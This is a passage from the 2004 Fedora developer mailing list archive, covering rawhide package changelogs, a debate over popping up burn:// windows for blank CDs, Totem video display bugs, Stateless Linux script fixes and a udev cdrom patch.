=?ISO-8859-1?Q?F=E9liciano?=) Date: Fri, 08 Oct 2004 07:43:01 +0200 Subject: rawhide report: 20041007 changes In-Reply-To: <200410071258.i97CwnG21190@porkchop.devel.redhat.com> References: <200410071258.i97CwnG21190@porkchop.devel.redhat.com> Message-ID: <1097214181.19410.15.camel@localhost.localdomain> Le jeudi 07 octobre 2004 ? 08:58 -0400, Build System a ?crit : > kernel-2.6.8-1.598 > ------------------ $ grep RAW_DRIVER /boot/config-2.6.8-1.598 CONFIG_RAW_DRIVER=m From rom "rpm -q --changelog util-linux" * mer sep 01 2004 Elliot Lee 2.12a-6 ... - Fix #130016 - remove raw. <==== From rom linux/drivers/char/Kconfig config RAW_DRIVER tristate "RAW driver (/dev/raw/rawN) (OBSOLETE)" help The raw driver permits block devices to be bound to /dev/raw/rawN. Once bound, I/O against /dev/raw/rawN uses efficient zero-copy I/O. See the raw(8) manpage for more details. The raw driver is deprecated and may be removed from 2.7 <==== kernels. Applications should simply open the device (eg /dev/hda1) with the O_DIRECT flag. From rom util-linux.spec # Note on how to set up raw device mappings using RHL /etc/sysconfig/rawdevices Patch109: util-linux-2.11f-rawman.patch ... echo '.so man8/raw.8' > $RPM_BUILD_ROOT%{_mandir}/man8/rawdevices.8 ... for I in man1/chkdupexe.1 man1/line.1 man1/pg.1 man8/cfdisk.8 man8/fsck.minix.8 man8/mkfs.minix.8 man8/mkfs.bfs.8 \ man8/raw.8 man8/rawdevices.8; do rm -rf $RPM_BUILD_ROOT%{_mandir}/${I}* done Patch for raw man page, and raw man page removed further. $ rpm -q -f /etc/sysconfig/rawdevices initscripts-7.88-1 ??? -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From mandreiana at rdslink.ro Fri Oct 8 05:59:39 2004 From: mandreiana at rdslink.ro (Marius Andreiana) Date: Fri, 08 Oct 2004 08:59:39 +0300 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097171227.22577.17.camel@remedyz.boston.redhat.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097166990.17313.14.camel@marte.biciclete.ro> <1097171227.22577.17.camel@remedyz.boston.redhat.com> Message-ID: <1097215179.4229.7.camel@marte.biciclete.ro> On Thu, 2004-10-07 at 13:47 -0400, John (J5) Palmieri wrote: > There is locking code in hal now that an app can use to give advisory > locks on a cd device. g-v-m respects this. k3b needs to be updated to > set and unset these locks. great, I've posted this to k3b: http://k3b.plainblack.com/index.pl/feedback? func=view&wid=29&forumId=1000&forumOp=viewThread&forumPostId=UUhD7_5QpkCYvlgdjmXiPg#UUhD7_5QpkCYvlgdjmXiPg -- Marius Andreiana Galuna - Solutii Linux in Romania http://www.galuna.ro From mark at wormgoor.com Fri Oct 8 06:29:03 2004 From: mark at wormgoor.com (Mark Wormgoor) Date: Fri, 08 Oct 2004 08:29:03 +0200 Subject: Hacking Anaconda Message-ID: <1097216943.22921.8.camel@mark-linux.wormgoor.com> Hi, I have a question; how can I quickly hack Anaconda? I burnt boot.iso to a cd and copied the Fedora3 files to a local NFS mount. But, if I hack netstg2.img, I get an error during install that it is not the correct directory for my boot.iso. Is there a way to circumvent this check, or do I have to recreate and burn the iso every time? There must be a quicker way to hack Anaconda? Kind regards, Mark -- *************************************************************** * |\ /| | /| / Mark Wormgoor * * | \ / | | / | / mailto:mark at wormgoor.com * * | \/ |ark |/ |/ormgoor http://www.wormgoor.com/mark/ * *************************************************************** From alexl at redhat.com Fri Oct 8 07:08:17 2004 From: alexl at redhat.com (Alexander Larsson) Date: Fri, 08 Oct 2004 09:08:17 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <20041007211708.GA14490@devserv.devel.redhat.com> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> <1097158641.3967.120.camel@greebo.homeip.net> <1097180865.8543.71.camel@nexus.verbum.private> <1097183093.3967.131.camel@greebo.homeip.net> <20041007211708.GA14490@devserv.devel.redhat.com> Message-ID: <1097219297.3967.144.camel@greebo.homeip.net> On Thu, 2004-10-07 at 17:17 -0400, Alan Cox wrote: > On Thu, Oct 07, 2004 at 11:04:53PM +0200, Alexander Larsson wrote: > > It returned 200 OK for the PROPFIND, and then started feeding the full > > stream instead of the xml result of a propfind. How should gnome-vfs > > know when to stop? I mean, it could do incremental xml parsing and stop > > at the first parse error. But thats a lot more complicated. > > I would assume gnome-vfs2 would abort at some point it decided it was > under attack, especially if it stores the entire content in memory. This all happens in the neon library. It doesn't seem to limit the size of the PROPFIND result it reads. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl at redhat.com alla at lysator.liu.se He's an obese voodoo cyborg whom everyone believes is mad. She's a provocative gypsy queen of the dead looking for love in all the wrong places. They fight crime! From alexl at redhat.com Fri Oct 8 07:23:16 2004 From: alexl at redhat.com (Alexander Larsson) Date: Fri, 08 Oct 2004 09:23:16 +0200 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097164977.22577.6.camel@remedyz.boston.redhat.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> Message-ID: <1097220196.3967.153.camel@greebo.homeip.net> On Thu, 2004-10-07 at 12:02 -0400, John (J5) Palmieri wrote: > I wanted to get the Fedora communities opinion on popping up a burn:// > folder when a blank CD is inserted into the drive. Right now we pop it > up which makes sense because if you pop in a blank CD most likely you > want to burn to it. Problems come in when a user is using browser mode > in Nautilus. If you pop the CD in and out a couple of times you get a > bunch of burn:// folders. Since you get a CD icon on the desktop which > you can double click to open up the burn:// folder I am wondering if I > should turn this off by default. I am of no opinion either way so I > want to see how everyone else feels. I think we should not open it. Not even in spatial mode. I'm off the opinion that most "automatically open window that can disturb the users workflow" behaviour is wrong, as it often interfers with peoples use of the system. What i'm saying is: putting an icon on the desktop or in the computer location when you insert some media is fine, this actually helps the user to easier access the media, and the visible change makes it obvious the computer actually recognized that you did something. Poping up a window over the current application can break the users current action, plus it doesn't educate him on the interaction model we're trying to plant in the users mind (that the cd icon on the desktop represents the media). Currently we don't pop up a filemanager window when you insert any other kind of media, why should blank cds be different? =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl at redhat.com alla at lysator.liu.se He's an immortal alcoholic sorceror with nothing left to lose. She's a strong-willed hip-hop femme fatale from a family of eight older brothers. They fight crime! From paul at all-the-johnsons.co.uk Fri Oct 8 08:04:07 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Fri, 08 Oct 2004 09:04:07 +0100 Subject: Current rawhide kernel? In-Reply-To: <20041007151523.B24612@ryoko.camperquake.de> References: <1097100264.3434.4.camel@tiger> <20041006221719.GF28226@redhat.com> <20041007151523.B24612@ryoko.camperquake.de> Message-ID: <1097222647.13780.12.camel@localhost.localdomain> Hi, > > .590 was bad aparently, and causes zillions of selinux warnings. > > It worked fine for me, but I've got selinux disabled, anyway. Nope. SELinux enabled on it, .590 working without a hitch. TTFN Paul -- Homer: Donut? Lisa: No, thanks. Do you have any fruit? Homer: This has purple stuff inside. Purple is a fruit. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From Nicolas.Mailhot at laPoste.net Fri Oct 8 08:38:26 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Fri, 08 Oct 2004 10:38:26 +0200 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <604aa79104100717385c350814@mail.gmail.com> References: <20041007170318.B06D473822@hormel.redhat.com> <1097187313.3494.25.camel@localhost> <2ad7cea1041007163242696d42@mail.gmail.com> <604aa79104100717385c350814@mail.gmail.com> Message-ID: <1097224706.2285.16.camel@ulysse.olympe.o2t> Le jeudi 07 octobre 2004 ? 20:38 -0400, Jeff Spaleta a ?crit : > A poor default for me, as a competent, well informed and technically > inclined power user with years of linux experience could easily be the > best, most sane and intuitive default for an inexperienced user who is > unfamiliar with specific linux applications. I know enough to > reconfigure my system better for my needs, and my knowledge empowers > me to use the tools at hand to mold the environment to my will. This is really a bad argument. A lot of people hate windows because it tries so hard to cater to the needs of new users it's a major pain to reconfigure for anyone with a little experience. Remember the target population is people *with* experience, because *everyone* will have some experience after a while (plus let's admit plainly that new generations are a lot more computer-literate than what we had in the early windows days). First-time is a transient experience, if painful, and should not be targeted at the expense of normal users. Remember talking cars ? ('your door is open', 'please fasten your seat belt', etc). Most testers loved them at first. *Everyone* hated them after a while, and car manufacturers dropped the concept. A normal human being hates being baby-sited by a dumb machine (dumb being defined as anything that does not adapt to his growing experience). Talking cars, automated popups all fall into this category. (I'm pretty sure unrequested popups would have died even without advertisers help). Don't try to make the computer into a big nany - it isn't, despite all its sophistication it's still a dumb automaton and humans won't react well if it oversteps its limits. Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From pmatilai at welho.com Fri Oct 8 09:00:42 2004 From: pmatilai at welho.com (Panu Matilainen) Date: Fri, 8 Oct 2004 12:00:42 +0300 (EEST) Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097220196.3967.153.camel@greebo.homeip.net> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> Message-ID: On Fri, 8 Oct 2004, Alexander Larsson wrote: > On Thu, 2004-10-07 at 12:02 -0400, John (J5) Palmieri wrote: > > I wanted to get the Fedora communities opinion on popping up a burn:// > > folder when a blank CD is inserted into the drive. Right now we pop it > > up which makes sense because if you pop in a blank CD most likely you > > want to burn to it. Problems come in when a user is using browser mode > > in Nautilus. If you pop the CD in and out a couple of times you get a > > bunch of burn:// folders. Since you get a CD icon on the desktop which > > you can double click to open up the burn:// folder I am wondering if I > > should turn this off by default. I am of no opinion either way so I > > want to see how everyone else feels. > > I think we should not open it. Not even in spatial mode. I'm off the > opinion that most "automatically open window that can disturb the users > workflow" behaviour is wrong, as it often interfers with peoples use of > the system. Amen. > > What i'm saying is: putting an icon on the desktop or in the computer > location when you insert some media is fine, this actually helps the > user to easier access the media, and the visible change makes it obvious > the computer actually recognized that you did something. Poping up a > window over the current application can break the users current action, > plus it doesn't educate him on the interaction model we're trying to > plant in the users mind (that the cd icon on the desktop represents the > media). I personally don't particularly like adding stuff to desktop either (because I never get to see it there, there's hardly ever empty space on my desktop) but it's anyway infinitely better than annoying windows popping up at all the wrong moments. - Panu - From rbultje at ronald.bitfreak.net Fri Oct 8 09:05:02 2004 From: rbultje at ronald.bitfreak.net (Ronald Bultje) Date: Fri, 08 Oct 2004 11:05:02 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097173840.14264.1.camel@support02.civic.twp.ypsilanti.mi.us> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> <1097173840.14264.1.camel@support02.civic.twp.ypsilanti.mi.us> Message-ID: <1097226302.2503.1.camel@localhost.localdomain> Hi, Op do 07-10-2004, om 20:30 schreef Sean Middleditch: > I'm having a problem where totem isn't displaying anything normally; > just a black area where the video should be. If I popup a menu or move > another window over totem, the video flickers in and out of existence. > Sometimes it'll stay afterwards, most of the time it won't. The video > is always visible when I display it in fullscreen mode. This is interesting. I heard another user telling me that he didn't get an image at all or had garbled image, but *only* if he had the compositing manager running. Are you running xcompmgr? If so, what card, what videosink (gstreamer-properties), what driver and so on? Thanks, Ronald -- Ronald Bultje From liuzhiyuan at ccoss.com.cn Fri Oct 8 09:05:59 2004 From: liuzhiyuan at ccoss.com.cn (Zhiyuan Liu) Date: Fri, 8 Oct 2004 17:5:59 +0800 Subject: can not create archives on FC2, and something about file-roller Message-ID: <200410080912.i989Ca7N001066@mx1.redhat.com> I can not create archives on FC2. I right-click on a folder in views of nautilus, then the context-sensitive menu is popuped, then I choose the "Create Archive" .But nothing happens. The dialog box does not appeard,on which the type and file name of the archive can be inputed. This bug also occurs in my FC3-test1 system. This might be concerned with the context-sensitive menu activation in bonobo system, because this bug will disappear when I delete following lines in the file "component/File_Roller_Component.server.in.in" of file-roller's souce code these lines control the context-sensitive menu activation of file-roller. so the bug may be caused by bonobo/bobonoui or file-roller itself. anyone can help? ------------- Zhiyuan Liu ------------- From harald at redhat.com Fri Oct 8 10:03:56 2004 From: harald at redhat.com (Harald Hoyer) Date: Fri, 08 Oct 2004 12:03:56 +0200 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097220196.3967.153.camel@greebo.homeip.net> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> Message-ID: <4166660C.6000909@redhat.com> What about poping up the preference dialog at the first time s.o. inserts a blank CD. The user then can specify the wanted behaviour for the next times... From fedora-devel at camperquake.de Fri Oct 8 10:13:59 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Fri, 8 Oct 2004 12:13:59 +0200 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <4166660C.6000909@redhat.com>; from harald@redhat.com on Fri, Oct 08, 2004 at 12:03:56PM +0200 References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> <4166660C.6000909@redhat.com> Message-ID: <20041008121359.A3411@ryoko.camperquake.de> On Fri, Oct 08, 2004 at 12:03:56PM +0200, Harald Hoyer wrote: > What about poping up the preference dialog at the first time s.o. inserts a blank CD. > The user then can specify the wanted behaviour for the next times... XP does this (at other ocasions, too), and I think it would be useful. From alan at redhat.com Fri Oct 8 12:07:01 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 8 Oct 2004 08:07:01 -0400 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097219297.3967.144.camel@greebo.homeip.net> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> <1097158641.3967.120.camel@greebo.homeip.net> <1097180865.8543.71.camel@nexus.verbum.private> <1097183093.3967.131.camel@greebo.homeip.net> <20041007211708.GA14490@devserv.devel.redhat.com> <1097219297.3967.144.camel@greebo.homeip.net> Message-ID: <20041008120701.GB10552@devserv.devel.redhat.com> On Fri, Oct 08, 2004 at 09:08:17AM +0200, Alexander Larsson wrote: > > I would assume gnome-vfs2 would abort at some point it decided it was > > under attack, especially if it stores the entire content in memory. > > This all happens in the neon library. It doesn't seem to limit the size > of the PROPFIND result it reads. Ok I'll file a bug against neon From Petr.Kolar at vslib.cz Fri Oct 8 12:21:49 2004 From: Petr.Kolar at vslib.cz (Petr Kolar) Date: Fri, 8 Oct 2004 14:21:49 +0200 Subject: Stateless Linux: errors in scripts Message-ID: <4D20865315@tyto.vslib.cz> Hello When trying to install diskless stations with Stateless Linux I discovered the Python scripts from stateless-*0.20-1 (e.g. stateless-clients.py) have errors in calls of getopt.getopt, so the scripts don't accept arguments of long command-line options. Therefore users must find and use short option names. I'm not familiar with Python, but it seems it is necessary to add an `=' character to the end of every option with long name, which takes an argument (e.g. "configuration=" and "snapshot=" in stateless-clients.py) in getopt.getopt call to correct the scripts. My question: Where to set information about NFS location needed in statelessGenPXEConfig.py? With regards -- *** Petr Kolar *** Department of Applied Informatics, Technical University of Liberec Halkova 6, 461 17 Liberec, Czech Republic Phone: +420-48-535-3673 Fax: +420-48-535-3696 E-mail: Petr.Kolar at vslib.cz http://www.kai.vslib.cz/~kolar/ From buildsys at redhat.com Fri Oct 8 12:23:19 2004 From: buildsys at redhat.com (Build System) Date: Fri, 8 Oct 2004 08:23:19 -0400 Subject: rawhide report: 20041008 changes Message-ID: <200410081223.i98CNJ231672@porkchop.devel.redhat.com> New package totem Movie player for GNOME 2 Updated Packages: HelixPlayer-1.0.1.gold-2 ------------------------ * Thu Oct 07 2004 Colin Walters 1:1.0.1.gold-2 - Fix wrapper script to handle commandline arguments SysVinit-2.85-34 ---------------- * Thu Oct 07 2004 Florian La Roche - add patch from Steve Grubb to re-build as non-root, #131841 anaconda-10.0.3.16-1 -------------------- * Thu Oct 07 2004 Jeremy Katz - 10.0.3.16-1 - s390/s390x: Fix traceback with unpartitioned disks (karsten) - improve fit of bengali network screen (#134762) - don't allow formatting of a pre-existing partition without also mounting it (#134865) - Don't show "0" as a mountpoint for an LV that's not being mounted (#134867) - Add prelink config bits (#117867) - Sort packages in text package group details (#123437) - Don't traceback on upgrade if /dev/mapper/control exists (#124092) cdicconf-0.2-9 -------------- * Fri Oct 08 2004 Akira TAGOH - 0.2-9 - added BuildRequires xorg-x11-devel. (#134958) control-center-2.8.0-9 ---------------------- * Wed Oct 06 2004 Warren Togami - 1:2.8.0-9 - #109738 Again Fix Preferred Applications url handler keys cyrus-sasl-2.1.19-3 ------------------- * Tue Oct 05 2004 Nalin Dahyabhai 2.1.19-3 - use notting's fix for incorrect patch for CAN-2004-0884 for 1.5.28 * Tue Oct 05 2004 Nalin Dahyabhai 2.1.19-2 - don't trust the environment in setuid/setgid contexts (CAN-2004-0884, #134660) desktop-printing-0.16-2 ----------------------- * Thu Oct 07 2004 Colin Walters 0.16-2 - BR gnome-keyring-devel, libgnomecups-devel exim-4.43-1 ----------- * Thu Oct 07 2004 Thomas Woerner 4.43-1 - new version 4.43 with sasl support - new exiscan-acl-4.43-28 - new config.samples and FAQ-html (added publication date) - new BuildRequires for cyrus-sasl-devel openldap-devel openssl-devel and PreReq for cyrus-sasl openldap openssl gaim-1.0.1-1 ------------ * Thu Oct 07 2004 Warren Togami 1.0.1-1 - update to 1.0.1 - disable naive GNOME session check - switch to gnutls default (FC3+) gcc-3.4.2-5 ----------- * Thu Oct 07 2004 Jakub Jelinek 3.4.2-5 - update from gcc-3_4-branch - PRs target/16007, 16406, libstdc++/10975, libstdc++/17505 - fix a fastjar bug (Tom Tromey, #74106) - obsolete gcc-chill (#84670) - don't use Koenig lookup if normal lookup finds a member function (Nathan Sidwell, #134676, PR c++/17829) gdb-6.1post-1.20040607.38 ------------------------- * Thu Oct 07 2004 Jeff Johnston 1.200400607.38 - Do not invalidate cached thread info when resuming threads. - Bump up release number. gdm-2.6.0.5-4 ------------- * Thu Oct 07 2004 Alexander Larsson - 1:2.6.0.5-4 - Change default greeter theme to "Default", require redhat-artwork with Default symlink. gimp-print-4.2.7-2 ------------------ * Fri Oct 08 2004 Tim Waugh 4.2.7-2 - Ship %{_datadir}/%{name}/ppds directory (feature #124687). - Browse that directory when asking for a PPD (feature #124687). - Build requires gettext-devel (bug #135042). gnome-applets-2.8.0-5 --------------------- * Thu Oct 07 2004 Mark McLoughlin - 2.8.0-5 - Add patch to fix crash with gweather preferences (#134572) * Thu Oct 07 2004 Mark McLoughlin - 2.8.0-4 - Fix mixer icons bugs - #134224 and #134773 gnome-panel-2.8.0.1-3 --------------------- * Thu Oct 07 2004 Mark McLoughlin 2.8.0.1-3 - Add the Input Method Switcher applet in certain locales (#134659) * Fri Oct 01 2004 Mark McLoughlin 2.8.0.1-2 - New panel layout from Bryan and Seth * Wed Sep 29 2004 Mark McLoughlin 2.8.0.1-1 - Update to 2.8.0.1 gnome-session-2.8.0-3 --------------------- * Thu Oct 07 2004 Ray Strode 2.8.0-3 - Check for NULL program name when looking for client match in session. gstreamer-0.8.7-2 ----------------- * Thu Oct 07 2004 Colin Walters 0.8.7-2 - BuildRequire gettext-devel hwdata-0.141-1 -------------- * Thu Oct 07 2004 Dan Williams - 0.141-1 - Add Belkin F5D6020 ver.2 (802.11b card based on Atmel chipset) initscripts-7.89-1 ------------------ * Thu Oct 07 2004 Florian La Roche - change /etc/sysctl.conf to not allow source routed packets per default java-1.4.2-gcj-compat-1.4.2.0-11jpp ----------------------------------- * Thu Oct 07 2004 Gary Benson 0:1.4.2.0-11jpp - Don't override $CLASSPATH when we add ecj.jar in javac. k3b-0.11.14-2 ------------- * Tue Oct 05 2004 Harald Hoyer 0:0.11.14-2 - fixed version string parsing, which fixes bug 134642 kdebase-3.3.0-8 --------------- * Thu Oct 07 2004 Than Ngo 6:3.3.0-8 - don't show rpc_pipefs in devices #134940 kernel-2.6.8-1.603 ------------------ * Thu Oct 07 2004 Dave Jones - Rebase to 2.6.9-rc3-bk7 - Fix up PPC/PPC64 compilation failures due to new binutils. (David Woodhouse) kinput2-v3.1-23 --------------- * Fri Oct 08 2004 Akira TAGOH - v3.1-23 - added BuildRequires xorg-x11-devel (#134950) libgda-1.0.4-3 -------------- * Fri Oct 08 2004 Caolan McNamara 1:1.0.4-3 - #rh135043# Extra BuildRequires libgnomedb-1.0.4-2 ------------------ * Fri Oct 08 2004 Caolan McNamara 1.0.4-2 - #rh135044# BuildRequires libidn-0.5.6-1 -------------- * Thu Oct 07 2004 Joe Orton 0.5.6-1 - update to 0.5.6 (#134343) libjpeg-6b-33 ------------- * Thu Oct 07 2004 Matthias Clasen - 6b-33 - Add URL. (#134791) libmusicbrainz-2.0.2-11 ----------------------- * Thu Oct 07 2004 Colin Walters 2.0.2-11 - BuildRequire expat-devel libwmf-0.2.8.3-5 ---------------- * Thu Oct 07 2004 Caolan McNamara 0.2.8.3-5 - #rh134945# Extra BuildRequires nautilus-cd-burner-2.8.3-3 -------------------------- * Thu Oct 07 2004 Alexander Larsson - 2.8.3-3 - try to build on s390 oprofile-0.8.1-10 ----------------- * Thu Oct 07 2004 Will Cohen - Correct opcontrol check for Power 4/5. parted-1.6.15-2 --------------- * Thu Oct 07 2004 Phil Knirsch 1.6.15-2 - Fixed geometry calculation for bios_geo in dasd_init() ppp-2.4.2-6.3 ------------- * Thu Oct 07 2004 David Woodhouse 2.4.2-6.3 - Fix use of 'demand' without explicit MTU/MRU with pppoatm qt-3.3.3-7 ---------- * Thu Oct 07 2004 Than Ngo 1:3.3.3-7 - fix build problem without qt immodule #134918 redhat-artwork-0.112-2 ---------------------- * Thu Oct 07 2004 Alexander Larsson - 0.112-2 - Update the post-install-fixups for RHEL specific content * Wed Oct 06 2004 Than Ngo 0.112-1.1E - RHEL build rp-pppoe-3.5-21 --------------- * Thu Oct 07 2004 David Woodhouse 3.5-21 - Fix ordering of VCI and VPI in pppoatm address. * Thu Oct 07 2004 David Woodhouse 3.5-20 - Add support for static IP with demand option. - Add support for using PPP over ATM plugin. * Thu Oct 07 2004 Than Ngo 3.5-19 - fix typo bug in adsl connect - remove unused rp-pppoe plugin, it's now included in new ppppd rpmdb-fedora-2.92-0.20041008 ---------------------------- sane-backends-1.0.14-5 ---------------------- * Thu Oct 07 2004 Tim Waugh 1.0.14-5 - Build requires libjpeg-devel (bug #134964). schedutils-1.4.0-1 ------------------ * Thu Oct 07 2004 Dave Jones 1.4.0-1 - 1.4.0 selinux-policy-strict-1.17.29-3 ------------------------------- * Thu Oct 07 2004 Dan Walsh 1.17.29-3 - Add reserved_port_type * Thu Oct 07 2004 Dan Walsh 1.17.29-2 - minor fixes - Fix nfsd and ypbind * Thu Oct 07 2004 Dan Walsh 1.17.29-1 - Update for latest from NSA selinux-policy-targeted-1.17.29-3 --------------------------------- * Thu Oct 07 2004 Dan Walsh 1.17.29-3 - Add reserved_port_type * Thu Oct 07 2004 Dan Walsh 1.17.29-2 - minor fixes - Fix nfsd and ypbind * Thu Oct 07 2004 Dan Walsh 1.17.29-1 - Update for latest from NSA tcp_wrappers-7.6-37.2 --------------------- * Thu Oct 07 2004 Thomas Woerner 7.6-37.2 - new URL and spec file cleanup, patch from Robert Scheck * Mon Oct 04 2004 Thomas Woerner 7.6-37.1 - rebuilt udev-032-10 ----------- * Thu Oct 07 2004 Harald Hoyer - 032-10 - added floppy madness (bug 134830) - replay scsi events in start_udev for the devices on the adapter (bug 130746) xpdf-3.00-6 ----------- * Thu Oct 07 2004 Than Ngo 1:3.00-6 - Fix xpdf crash when selecting outline without page reference, thanks Ulrich Drepper, bz #134993 From lfarkas at bppiac.hu Fri Oct 8 12:36:38 2004 From: lfarkas at bppiac.hu (Farkas Levente) Date: Fri, 08 Oct 2004 14:36:38 +0200 Subject: please update all package to the same db4 version In-Reply-To: <20041007211047.GA9760@orient.maison.moi> References: <41654C35.8030100@bppiac.hu> <20041007211047.GA9760@orient.maison.moi> Message-ID: <416689D6.7070604@bppiac.hu> Emmanuel Seyman wrote: > On Thu, Oct 07, 2004 at 04:01:25PM +0200, Farkas Levente wrote: > >>it's be useful to update all packages to the same db4 version (eg: >>openldap, nss_ldap still use 4.0.14, etc..). i try to fill a bugzilla >>entry but it seems noone cares about it. > > > Doesn't openldap come with its own version of db4 ? > The tarball was part of the .src.rpm last time I checked. that would be nice to avoid! -- Levente "Si vis pacem para bellum!" From NOS at Utel.no Fri Oct 8 13:04:08 2004 From: NOS at Utel.no (=?ISO-8859-1?Q?=22Nils_O=2E_Sel=E5sdal=22?=) Date: Fri, 08 Oct 2004 15:04:08 +0200 Subject: fedora-extras-announce-list ? Message-ID: <41669048.7060900@Utel.no> I've sent a couple of mails to fedora-extras-announce-list at redhat.com yesterday, realizing now I wasn't subscribed to it. And archives are empty. Should I just repost now that I am subscribed, or have those actually gone through after all ? -- NOS at Utel.no From byte at aeon.com.my Fri Oct 8 13:11:47 2004 From: byte at aeon.com.my (Colin Charles) Date: Fri, 08 Oct 2004 23:11:47 +1000 Subject: fedora-extras-announce-list ? In-Reply-To: <41669048.7060900@Utel.no> References: <41669048.7060900@Utel.no> Message-ID: <1097241107.4206.176.camel@albus.aeon.com.my> On Fri, 2004-10-08 at 23:04, "Nils O. Sel?sdal" wrote: > I've sent a couple of mails to fedora-extras-announce-list at redhat.com > yesterday, realizing now > I wasn't > subscribed to it. And archives are empty. > Should I just repost now that I am subscribed, or have those actually > gone through after all ? It should be a moderated list, so you shouldn't just get automagical approvals to post. But yes, nothing has been thru the list since its incarnation Looks like Gafton is the one in charge here, so we'll wait on his response -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From elanthis at awesomeplay.com Fri Oct 8 13:34:38 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Fri, 08 Oct 2004 09:34:38 -0400 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097226302.2503.1.camel@localhost.localdomain> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> <1097173840.14264.1.camel@support02.civic.twp.ypsilanti.mi.us> <1097226302.2503.1.camel@localhost.localdomain> Message-ID: <1097242478.15119.13.camel@support02.civic.twp.ypsilanti.mi.us> On Fri, 2004-10-08 at 11:05 +0200, Ronald Bultje wrote: > Hi, > > Op do 07-10-2004, om 20:30 schreef Sean Middleditch: > > I'm having a problem where totem isn't displaying anything normally; > > just a black area where the video should be. If I popup a menu or move > > another window over totem, the video flickers in and out of existence. > > Sometimes it'll stay afterwards, most of the time it won't. The video > > is always visible when I display it in fullscreen mode. > > This is interesting. I heard another user telling me that he didn't get > an image at all or had garbled image, but *only* if he had the > compositing manager running. Are you running xcompmgr? If so, what card, > what videosink (gstreamer-properties), what driver and so on? No xcompmgr, and the Composite extension is disabled. Integrated Intel i845 chipset with the i810 driver. Audio sink is ALSA, Video sink is XWindows (X11/Xshm/Xv). If I try Xwindows (no Xv) I get no display at all (the video box on Totem is not displayed). If I try SDL, the video widget doesn't seem to ever get redrawn - it just gets various window trash drawn onto it and that is never cleared up. Switching the audio sink had no effect; the visual problem persisted. (Figured I'd test that just in case.) > > Thanks, > > Ronald > > -- > Ronald Bultje > -- Sean Middleditch AwesomePlay Productions, Inc. From feliciano.matias at free.fr Fri Oct 8 14:15:59 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Fri, 08 Oct 2004 16:15:59 +0200 Subject: rawhide report: 20041007 changes In-Reply-To: <200410071258.i97CwnG21190@porkchop.devel.redhat.com> References: <200410071258.i97CwnG21190@porkchop.devel.redhat.com> Message-ID: <1097244959.3230.16.camel@localhost.localdomain> Le jeudi 07 octobre 2004 ? 08:58 -0400, Build System a ?crit : > > udev-032-9 > ---------- > * Wed Oct 06 2004 Harald Hoyer - 032-9 > > - added check-cdrom.sh for nice cdrom symlinks Nice. But I have ide-cd as module (why not?). At boot time (udevstart) I have a lot of : /bin/cat: /proc/sys/dev/cdrom/info: No such file or directory This little patch (see attachment) seems to works. -------------- next part -------------- A non-text attachment was scrubbed... Name: check-cdrom.sh.diff Type: text/x-patch Size: 379 bytes Desc: URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From harald at redhat.com Fri Oct 8 14:39:04 2004 From: harald at redhat.com (Harald Hoyer) Date: Fri, 08 Oct 2004 16:39:04 +0200 Subject: rawhide report: 20041007 changes In-Reply-To: <1097244959.3230.16.camel@localhost.localdomain> References: <200410071258.i97CwnG21190@porkchop.devel.redhat.com> <1097244959.3230.16.camel@localhost.localdomain> Message-ID: <4166A688.1070301@redhat.com> Fixed in udev-034-2. Thanks! Matias F?liciano wrote: > Le jeudi 07 octobre 2004 ? 08:58 -0400, Build System a ?crit : > >> >>udev-032-9 >>---------- >>* Wed Oct 06 2004 Harald Hoyer - 032-9 >> >>- added check-cdrom.sh for nice cdrom symlinks > > > Nice. > But I have ide-cd as module (why not?). > At boot time (udevstart) I have a lot of : > /bin/cat: /proc/sys/dev/cdrom/info: No such file or directory > > This little patch (see attachment) seems to works. > > > ------------------------------------------------------------------------ > > --- check-cdrom.sh.orig 2004-10-06 17:38:55.000000000 +0200 > +++ check-cdrom.sh 2004-10-08 08:25:23.000000000 